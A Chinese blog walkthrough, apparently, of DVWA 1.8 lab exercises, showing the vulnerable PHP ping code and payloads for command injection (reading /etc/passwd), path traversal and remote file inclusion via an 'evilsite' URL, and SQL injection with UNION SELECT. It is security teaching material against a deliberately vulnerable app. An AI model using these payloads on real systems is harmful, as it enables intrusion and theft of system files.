DVWA(Dam vulnerable Web Application)是使用PHP+Mysql编写的一套用于常规漏洞教学和漏洞挖掘的一个测试学习程序,在此程序中包含了常见的web方面的漏洞,如命令行执行(Command Execution),CSRF、文件包含(File Inclusion)、SQL注入(SQL Injection)、SQL盲注(SQL Injection Blind)、文件上传(Upload)、反射型XSS(XSS reflected)、存储型XSS(XSS stored)。DVWA还可以设置漏洞的难度,在DVWA1.8版本中存在low,medium以及high三种级别的,在新版DVWA1.9中,则存在low、medium、high和impossible四种级别。对于想了解web安全的同学或者是有志于从事web安全方向但是对web安全不了解的同学可以利用DVWA这个参透测试演练系统提供对web安全的认识。在本文中主要是基于windows7平台下的DVWA1.8版本的讲解。

0X00 command injection

Low

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if( isset( $_POST[ 'submit' ] ) ) {

$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {

$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';

} else {

$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';

}
}
?>

从代码可以看出,代码没有对输入的IP进行任何的判断和过滤就直接使用了$_REQUEST[ip]来接受从页面传递过来的值。在此代码中使用了以下的函数。

  • php_uname():是用于返回运行PHP的操作系统的描述,和phpinfo()最顶端上输出的是同一个字符串。php_uname()函数中参数可以有多种不同的值。当参数为s时,php_uname()返回的是操作系统的名称,如FreeBSD或者是Windows NT等等。
  • shell_exec():通过shell环境变量执行命令,并且将完成的输出以字符串的方式返回。所以在本代码中,shell_exec()方法就是用来执行ping命令的。
  • 命令连接符和管道:在shell中可以使用命令连接符或者是管道的方式同时在一条语句中同时运行多个命令。
    | 管道符,将上一个命令的输出作为下一个命令的输入
    & 连接符,使用&符号时,就可以同时运行多条命令
     Linux环境下的连接符,和&作用相同
    && 逻辑与,只有在前面的命令执行成功时,后面的命令才会执行
    || 逻辑或,前面的命令如果执行成功,后面的命令则不执行

在完全没有对代码进行过滤的情况下,如果是在Linux环境下,输入

1
127.0.0.1 & /etc/passwd

那么就会造成命令执行的攻击了。

medium

源码分析

1
|| cat /etc/passwd

high
目前还无法破解

0X01 file inclusion

low/medium:
答案可以有很多

1
2
3
4
5
../../../../../../etc/passwd
../../../../../../etc/group
../../../../../../var/www/phpinfo.php

http://www.evilsite.com/evil.php

high:
限制了file为include.php,导致无法进行文件包含的漏洞

SQL Injection

low
1’ 或者使用 1 or 1=1# 同样可以,那么说明就存在sql注入漏洞

1
2
%' and '0'='0
%' or 0=0 union select null,version() #

Dvwa writeup的更多相关文章

  1. 在xampp中配置dvwa

    DVWA主要是用于学习Web的常见攻击,比如SQL注入.XSS等的一个渗透测试系统,下面我将结合XAMPP来说明它的安装过程. 一.环境 OS:Windows 10 XAMPP:5.6.24 DVWA ...

  2. 2016第七季极客大挑战Writeup

    第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{ ...

  3. DVWA安装,ALMP环境搭建以及php版本转换

    前言 本文记录DVWA(Damn Vulberability Web App)在虚拟机中安装配置,包括ALMP环境的搭建和php版本的转换. 目录 2. ALMP环境搭建 3. php版本切换 一. ...

  4. ISCC2016 WriteUp

    日期: 2016-05-01~ 注:隔了好久才发布这篇文章,还有两道Pwn的题没放,过一阵子放上.刚开始做这个题,后来恰巧赶上校内CTF比赛,就把重心放在了那个上面. 这是第一次做类似于CTF的题,在 ...

  5. DAY5 DVWA之SQL注入演练(low)

    1.设置 把安全等级先调整为low,让自己获得点信心,免得一来就被打脸. 2.测试和分析页面的功能       这里有一个输入框 根据上面的提示,输入用户的id.然后我们输入之后,发现它返回了关于这个 ...

  6. dvwa第一次接触

    DVWA (Damn Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序.包含了SQL注入.XSS.盲注等 ...

  7. 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp

    洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...

  8. 配置安装DVWA

    本文地址:http://www.cnblogs.com/go2bed/p/4162313.html —————————————————— 什么是DVWA? Damn Vulnerable Web Ap ...

  9. 爱春秋之戏说春秋 Writeup

    爱春秋之戏说春秋 Writeup 第一关 图穷匕见 这一关关键是给了一个图片,将图片下载到本地后,打开以及查看属性均无任何发现,尝试把图片转换为.txt格式.在文本的最后发现这样一串有规律的代码: 形 ...

随机推荐

  1. IOS 序列化与反序列化NSKeyedUnarchiver

    开篇 1到底这个序列化有何作用? 面向对象的程序在运行的时候会创建一个复杂的对象图,经常要以二进制的方法序列化这个对象图,这个过程叫做Archiving. 二进制流可以通过网络或写入文件中. 当你写的 ...

  2. 使用Ecplise git commit时出现&quot;There are no stages files&quot;

    异常   解决方案 进入Window--Preferences--Team--Git--Committing,反选下图红圈部分:   保存后即可出线我们熟悉的提交代码界面啦:

  3. win7 hosts文件更改后无效,不生效问题

    通过记事本修改完hosts文件后,域名解析没有生效. 注:可以正常保存修改.服务dnsclient也已经启动 最后发现是hosts文件最后一行不是空行,回车后问题解决

  4. Java jdbc 连接oracle之二(使用properties文件)

    driver = oracle.jdbc.driver.OracleDriver url = jdbc:oracle:thin:@192.168.10.105:1521:orcl user = LF ...

  5. wmware 怎么 跟主机相互通信

    VMnet1和VMware8其实就是软件模拟出来的两块网卡提供DHCP服务,两块网卡对应VMware的两种不同的模式VMWare提供了三种工作模式,它们是bridged(桥接模式).NAT(网络地址转 ...

  6. rhel 5.8 and 6.4 yum配置

    rhel 5.8 and 6.4 yum配置 6.4 [Packages]name=Packagesenabled=1gpgcheck=0baseurl=file:///iso 5.8 [Packag ...

  7. Java从零开始学四十二(DOM解析XML)

    一.DOM解析XML xml文件 favorite.xml <?xml version="1.0" encoding="UTF-8" standalone ...

  8. 没有什么好神秘的: wait_on_page_bit

    文件系统中经常会有wait_on_page_bit函数的封装,比如f2fs中就会有如下的代码: 1431 void f2fs_wait_on_page_writeback(struct page *p ...

  9. java 模拟消息的发送功能

    import java.util.HashMap; import java.util.Iterator; import java.util.Map; /* * 完成消息的发送功能 * 在发送消息之前, ...

  10. 003. vs2010发布、打包安装程序(转)

    本资源来自于网络 1.  在vs2010 选择“新建项目”à“ 其他项目类型”à“ Visual Studio Installerà “安装项目”: 命名为:Setup1 . 这是在VS2010中将有 ...